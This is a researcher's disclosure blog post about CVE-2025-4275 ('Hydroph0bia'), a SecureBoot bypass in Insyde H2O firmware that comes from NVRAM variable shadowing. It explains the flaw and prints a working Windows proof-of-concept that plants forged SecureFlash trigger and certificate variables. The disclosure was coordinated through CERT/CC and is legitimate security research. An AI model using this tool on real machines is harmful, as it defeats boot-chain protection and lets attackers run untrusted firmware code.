../hydroph0bia-part1

Hydroph0bia (CVE-2025-4275) - a trivial SecureBoot bypass for UEFI-compatible firmware based on Insyde H2O, part 1

Hydroph0bia logo

This post will be about a vulnerability I dubbed Hydroph0bia (as a pun on Insyde H2O) aka CVE-2025-4275 or INSYDE-SA-2025002.

Intro

Once upon an evening a relative handed me over his HUAWEI Matebook 14 2023, an entry-level PC laptop based on Intel Core i5-1240P and running Insyde H2O-based UEFI-compatible firmware with SecureBoot, firmware password, and other security features expected from a modern PC.

I had a ton of free time after leaving California and returning to Germany, and my UEFI reversing skills got a bit rusty and needed a refresh, so I decided to invest some time into checking how robust those security technologies really are against somewhat capable and/or experienced attacker.

The result is self evident - they sadly are not. The firmware can be persuaded to trust any arbitrary external application or capsule signed by arbitrary certificate, and the only capabilities required for it are "can put files onto EFI System Partition" and "can create new NVRAM variables", both of which are achievable by a local privilege escalation1 in Windows or Linux.

NVRAM?

As all of you might already know, UEFI provides an abstract interface to a non-volatile variable storage it calls NVRAM (Non-Volatile Random Access Memory). The interface itself is very old (a vintage of Intel Boot Initiative of 1998), prone to many issues big and small, and is an API so nice you have to call it twice.

It is also prone to an issue I've discovered a while ago and ranted about on Twitter - "shadowing", a situation where a non-volatile variable with a given name and GUID can both prevent creation of a volatile variable with the same name and GUID (which immediately defeats the "attributes are a part of the key" assertion made by UEFI specification), and be consumed instead said volatile variable (that could not have been created previously, because a non-volatile one already exists) at any place where the volatile variable had been expected.

Spoiler alert: the vulnerability I'm describing here is exactly of this kind, and it could not be possible without UEFI NVRAM interface being a mess (storing volatile variables in a storage with Non-Volatile in the name is both ironic and dangerous, but probably just fine for 1998).

It would seem the universe does not like its peas mixed with its porridge. Rosalind Lutece, Bioshock Infinite

SecureBoot?

Another quirk of early days of UEFI is that the ability to verify signatures on applications and drivers coming from outside of the firmware had not originally been present in EFI 1.1 or UEFI 2.0, but was added (with a heavy push by Microsoft) later in 2012, almost a full year after the whole PC industry moved to UEFI-compatible firmware. This means that every IBV (Independent BIOS Vendor) had to invent a firmware update subsystem for their platform first, then make it work reliably enough to be released to the world, then, after a year, marry it with SecureBoot, SMM-based SetVariable, new kinds of authenticated NVRAM variables, and all the other tech required to support SecureBoot in a spec-compliant way.

This situation lead to stuff being rushed out of the door in a rather sorry state, many edge cases (like using TE image format instead of PE) being completely untested, Authenticode verification code being broken in many ways and prone to integer overflows at every arithmetic operation, etc.

Vulnerability?

I've stalled long enough for the actual vulnerability details, now it is time to dig into the issue. But first, a super-quick refresher on how SecureBoot works in any Insyde H2O-based firmware:

The expected way the firmware update should work is as follows:

  1. A driver called SecureFlashDxe sets a trigger variable for BdsDxe to load a certificate into a volatile NVRAM variable.

  2. BdsDxe does that by setting two variables - SecureFlashSetupMode trigger, and SecureFlashCertData with a certificate in EFI_SIGNATURE_LIST format. LoadCertificateToVariable function in BdsDxe decompiled by IDA 9.1 with efiXplorer

  3. SecurityStubDxe reads the trigger and the certificate and if they are both present attempts the verification process. It does not check either variables to be volatile or non-volatile, and uses a library function to read them instead of calling the GetVariable runtime service directly. VerifyBySecureFlashSignature function in SecurityStubDxe decompiled by IDA 9.1 with efiXplorer

What could go wrong here? Well, if we are able to create our own non-volatile SecureFlashSetupMode and SecureFlashCertData without triggering any other steps above, SecurityStubDxe will happily see those as if BdsDxe created them, and will blindly trust anything that is correctly signed with the provided certificate, bypassing both SecureBoot and Insyde signature check on isflash.bin.

I wrote a small Windows program to do so, here it is in full:

#include <windows.h>

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

static unsigned char esl[] = {
    0xa1, 0x59, 0xc0, 0xa5, 0xe4, 0x94, 0xa7, 0x4a, 0x87, 0xb5, 0xab, 0x15,
    ...
    0xb4, 0xf5, 0x2d, 0x68, 0xe8
};
const unsigned int esl_len = 857;

static const char* trigger_var = "SecureFlashSetupMode";
static const char* cert_var = "SecureFlashCertData";
static const char* guid = "{382AF2BB-FFFF-ABCD-AAEE-CCE099338877}";
static char trigger = 1;

static void obtain_privilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    
    OpenProcessToken(GetCurrentProcess(), 
         TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    LookupPrivilegeValue(NULL, 
         SE_SYSTEM_ENVIRONMENT_NAME, &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
}

int main(int argc, char *argv[]) 
{
    if (argc != 2) {
        printf("Usage: sfcd set   - set the hardcoded certificate "
               "and trigger NVRAM variables\n"
               "       sfcd clear - clear the currently set certificate "
               "and trigger NVRAM variables\n\n");

        return EXIT_SUCCESS;
    }

    obtain_privilege();
    
    // Set variables
    if (memcmp(argv[1], "set", 4) == 0) {
        if (SetFirmwareEnvironmentVariableA(cert_var, guid, esl, esl_len)) {
            printf("%s had been set\n", cert_var);
        }
        else {
            printf("Failed to set %s, code %u\n", cert_var, 
                 (unsigned)GetLastError());
            return EXIT_FAILURE;
        }

        if (SetFirmwareEnvironmentVariableA(trigger_var, guid, 
               &trigger, sizeof(trigger))) {
            printf("%s had been set\n", trigger_var);
        }
        else {
            printf("Failed to set %s, code %u\n", trigger_var, 
                 (unsigned)GetLastError());
            return EXIT_FAILURE;
        }
    }
    // Clear variables
    else if (memcmp(argv[1], "clear", 6) == 0) {
        if (SetFirmwareEnvironmentVariableA(cert_var, guid, esl, 0)) {
            printf("%s had been cleared\n", cert_var);
        }
        else {
            printf("Failed to clear %s: %u\n", cert_var, 
                 (unsigned)GetLastError());
            return EXIT_FAILURE;
        }

        if (SetFirmwareEnvironmentVariableA(trigger_var, guid, &trigger, 0)) {
            printf("%s had been cleared\n", trigger_var);
        }
        else {
            printf("Failed to clear %s: %u\n", trigger_var, 
                 (unsigned)GetLastError());
            return EXIT_FAILURE;
        }
    }
    else {
        printf("Unknown command\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

Running this tool on Windows from Administrator makes the firmware trust everything signed by our certificate, including UEFI drivers that we can then run rather early in BDS phase by using the DriverXXXX mechanism. Here is an example of using a signed CrScreenshotDxe driver to get a screenshot from BIOS Setup screen with SecureBoot enabled. Screenshot of BIOS Setup screen with SecureBoot enabled

Outro

This post is a result of coordinated responsible disclosure with CERT Coordination Center. I would like to thank Vijay Sarvepalli (Security Solutions Architect, Carnegie Mellon University) for his help with reporting and coordination, and Tim Lewis (CTO, Insyde Software) for promptly fixing the vulnerability after my initial report 90 days ago.

I'd like to also thank Alex Matrosov and his team at Binarly.io for their hard work on improving UEFI security in general, and for development and support of efiXplorer, that makes reversing UEFI components much more fun and much less challenging.

There will be a part two of this post where we'll use the vulnerability to hijack the firmware update process and obtain full control over the DXE volume. Stay tuned.

Links

SFCD tool source and binary, original BIOS region dump, and custom-cert-signed UEFI Shell and CrScreenshotDxe are on GitHub.


1

it is useful to assume the OS to be under full attacker control for any kind of firmware security research, with LPEs being dirt-cheap and users still willing to run unknown software downloaded directly from the Web that barrier of entry might as well not exist.